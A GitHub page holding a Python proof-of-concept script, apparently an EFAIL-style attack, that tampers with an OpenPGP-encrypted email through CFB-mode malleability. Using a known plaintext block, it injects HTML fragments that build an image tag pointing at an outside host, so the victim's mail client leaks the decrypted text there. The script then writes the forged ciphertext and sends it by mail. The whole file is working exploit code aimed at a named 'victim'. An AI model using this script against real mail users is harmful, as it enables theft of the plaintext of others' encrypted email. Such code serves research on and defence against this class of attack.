-
Notifications
You must be signed in to change notification settings - Fork 0
/
opgp_modification.py
60 lines (44 loc) · 1.5 KB
/
opgp_modification.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from formats import *
from mime import add_opgp_header, send_mail
def print_decrypted_openpgp_msg():
run(["gpg", "-d", "modified.eml.gpg"], cwd="ciphertext_files/openpgp/")
def write_ciphertext(c):
with open("ciphertext_files/openpgp/modified.eml.gpg", "wb") as f:
f.write(c)
f.closed
def get_gpg_msg():
with open("ciphertext_files/openpgp/msg.gpg", "rb") as f:
asc = bytearray(f.read())
f.closed
return asc
# Initialization
binary_msg = get_gpg_msg()
pkesk_len = 3 + 268
seipd_hlen = 2
msg = OpenPgpMsg(binary_msg, pkesk_len, seipd_hlen)
# The known plaintext
p2 = b't-Type: text/htm'
c1 = msg.get_ciphertext_block(1)
c2 = msg.get_ciphertext_block(2)
c3 = msg.get_ciphertext_block(3)
c4 = msg.get_ciphertext_block(4)
# The canonical CFB gadget resulting in an all zero plaintext block:
x = xor(c3, p2)
# The modified ciphertext blocks that will be sent to the victim
x1 = xor(x, b" <base '")
x2 = xor(x, b"' href='http:'> ")
x3 = xor(x, b"<img '")
x4 = xor(x, b" src='jaads.de/")
x5 = xor(x, b"'> ")
msg.insert_in_ciphertext(4, c2, x1, c2, x2, c2, x3, c2, x4, c2, c3, c4)
msg.insert_in_ciphertext(msg.get_block_amount() - 1, c2, x5)
new_header_block = msg.create_new_header_block()
x_header = xor(x, new_header_block)
msg.insert_in_ciphertext(0, c2, x_header)
# Write and print encrypted text
write_ciphertext(msg.data)
print_decrypted_openpgp_msg()
# Send manipulated email
armored_msg = msg.enarmor()
m = add_opgp_header(armored_msg)
send_mail(m)